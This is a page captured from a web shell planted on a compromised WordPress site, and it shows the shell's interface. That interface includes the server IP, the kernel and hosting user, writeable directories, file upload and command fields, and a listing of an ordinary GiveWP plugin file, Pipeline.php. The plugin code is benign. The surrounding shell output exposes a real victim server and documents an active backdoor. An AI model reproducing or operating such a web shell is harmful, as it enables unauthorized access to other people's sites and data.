Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.225.55.42
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/tacafoundation.org/wp-content/plugins/give/src/FormMigration/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/tacafoundation.org/wp-content/plugins/give/src/FormMigration/Pipeline.php
<?php

namespace Give\FormMigration;

use Give\FormMigration\Contracts\FormMigrationStep;
use Give\FormMigration\DataTransferObjects\FormMigrationPayload;

class Pipeline
{
    protected $steps = [];
    protected $payload;

    protected $beforeStep;
    protected $afterStep;

    public function __construct(array $steps)
    {
        $this->steps = $steps;
    }

    public function beforeEach(callable $beforeStep): Pipeline
    {
        $this->beforeStep = $beforeStep;
        return $this;
    }

    public function afterEach(callable $afterStep): Pipeline
    {
        $this->afterStep = $afterStep;
        return $this;
    }

    public function process(FormMigrationPayload $payload): StepProcessor
    {
        $processor = new StepProcessor($payload);
        foreach ($this->steps as $stepClass) {
            if ($this->beforeStep) call_user_func($this->beforeStep, $stepClass, $payload);
            $_payload = unserialize(serialize($payload));
            $processor(new $stepClass($payload));
            if ($this->afterStep) call_user_func($this->afterStep, $stepClass, $payload, $_payload);
        }

        return $processor;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit